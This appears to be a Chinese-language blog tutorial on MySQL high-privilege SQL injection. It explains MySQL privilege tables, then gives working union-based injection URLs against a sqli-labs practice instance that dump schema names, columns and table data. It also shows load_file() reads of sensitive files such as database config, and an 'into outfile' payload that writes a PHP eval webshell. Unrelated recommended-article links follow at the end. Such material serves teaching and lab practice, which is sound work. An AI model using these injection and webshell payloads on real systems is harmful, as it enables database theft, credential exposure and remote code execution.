sql注入之高权限注入和文件读写

死在山野的风里,活在自由的梦里

sql注入之高权限注入和文件读写

高权限注入

在数据库中区分有数据库系统用户与数据库普通用户,高权限系统用户拥有整个服务器数据库的操作权限,而普通用户只拥有部分已配置的权限。

取得高权限用户权限,可以查看所有数据库,还可以对服务器文件进行读写操作。

1.多个网站共享mysql服务器

为什么会出现高权限注入的原因

连接mysql的配置文件

2.MySQL 权限介绍

mysql中存在4个控制权限的表,分别为user表,db表,tables_priv(表权限)表,columns_priv(列权限)表,我当前的版本mysql 5.7.22 。

复制代码
mysql权限表的验证过程为:
	先从user表中的Host,User,Password这3个字段中判断连接的ip、用户名、密码是否存在,存在则通过验证。

通过身份认证后,进行权限分配,
	按照user,db,tables_priv,columns_priv的顺序进行验证。
	即先检查全局权限表user,如果user中对应的权限为Y,则此用户对所有数据库的权限都为Y,
	将不再检查db, tables_priv,columns_priv;如果为N,则到db表中检查此用户对应的具体数据库,
	并得到db中为Y的权限;如果db中为N,则检查tables_priv中此数据库对应的具体表,取得表中的权限Y,以此类推。
	
	 2.1 系统权限表
	User表:存放用户账户信息以及全局级别(所有数据库)权限,决定了来自哪些主机的哪些用户可以访问数据库实例,如果有全局权限则意味着对所有数据库都有此权限 
	Db表:存放数据库级别的权限,决定了来自哪些主机的哪些用户可以访问此数据库 
	Tables_priv表:存放表级别的权限,决定了来自哪些主机的哪些用户可以访问数据库的这个表 
	Columns_priv表:存放列级别的权限,决定了来自哪些主机的哪些用户可以访问数据库表的这个字段 
	Procs_priv表:存放存储过程和函数级别的权限

(1)查看root的权限

复制代码
select * from user where user='root' and host='localhost'\G;

(2)给普通用户test1所有权限

复制代码
GRANT ALL PRIVILEGES ON *.* To 'test1'@'localhost' WITH GRANT OPTION;

(3)查看mysql 有哪些用户:

mysql> select user,host from mysql.user;

(4)创建 mysql 用户

有两种方式创建MySQL授权用户

复制代码
执行create user/grant命令(推荐方式)
CREATE USER 'finley'@'localhost' IDENTIFIED BY 'some_pass';
通过insert语句直接操作MySQL系统权限表

(5)只提供id查询权限

让user1有test库的t1表的读取id的权限

复制代码
 grant select(id) on test.t1 to user1@'localhost' identified by '123456';

(6)删除用户

复制代码
drop user finley@'localhost';

3.注入流程

查询所有数据库名称

复制代码
http://localhost/sqli-labs-master/Less-2/?id=-2%20union%20select%201,group_concat(schema_name),3%20from%20information_schema.schemata

查询表名对应的字段名

复制代码
http://localhost/sqli-labs-master/Less-2/?id=-2%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=0x7431

查询数据

复制代码
http://localhost/sqli-labs-master/Less-2/?id=-2%20union%20select%201,name,pass%20from%20test.t1

文件读写

1.文件读写注入的原理

就是利用文件的读写权限进行注入,它可以写入一句话木马,也可以读取系统文件的敏感信息。

2.文件读写注入的条件

高版本的MYSQL添加了一个新的特性secure_file_priv,该选项限制了mysql导出文件的权限

secure_file_priv选项

复制代码
linux
cat /etc/my.cnf
    [mysqld]
    secure_file_priv=

win
   my.ini
      [mysqld]
         secure_file_priv=

查看mysql全局变量的配置

复制代码
show global variables like '%secure%'

1、读写文件需要 secure_file_priv权限

secure_file_priv=

代表对文件读写没有限制

secure_file_priv=NULL

代表不能进行文件读写

secure_file_priv=d:/phpstudy/mysql/data

代表只能对该路径下文件进行读写

2、知道网站绝对路径

Windows常见:

Linux常见:

路径获取常见方式:

报错显示,遗留文件,漏洞报错,平台配置文件等

3.读取文件

使用函数:load_file()

复制代码
union select load_file('绝对路径');

后面的路径可以是单引号,0x,char转换的字符。

注意:路径中斜杠是/不是\。

一般可以与union中做为一个字段使用,查看config.php(即mysql的密码),apache配置...

4.写入文件

复制代码
union select 1,'<?php eval($_POST["1"]);?>',3 into outfile 'd:/1.php'

使用函数:Into Outfile(能写入多行,按格式输出)和 into Dumpfile(只能写入一行且没有输出格式)

outfile 后面不能接0x开头或者char转换以后的路径,只能是单引号路径

相关推荐
liang_jy3 分钟前
Activity 启动流程扩展篇(一)—— startActivityInner 任务决策全解析
android·源码
NPE~1 小时前
[App逆向]脱壳实战
android·教程·逆向·android逆向·逆向分析
木易 士心1 小时前
别再只会用 drawCircle 了!一文搞懂 Android Canvas 底层机制
android
AtOR CUES3 小时前
MySQL——表操作及查询
android·mysql·adb
怣疯knight4 小时前
安卓App无法增加自定义图片作为图标功能
android
mOok ONSC4 小时前
mysql9.0windows安装
windows·adb
jinanwuhuaguo5 小时前
OpenClaw联邦之心——从孤岛记忆到硅基集体潜意识的拓扑学革命(第二十三篇)
android·人工智能·kotlin·拓扑学·openclaw
俺不要写代码6 小时前
数据库:DQL
数据库·sql·mysql
Gary Studio7 小时前
安卓HAL C++基础-命名域
android
xxjj998a7 小时前
Laravel8.x核心特性详解
数据库·mysql·adb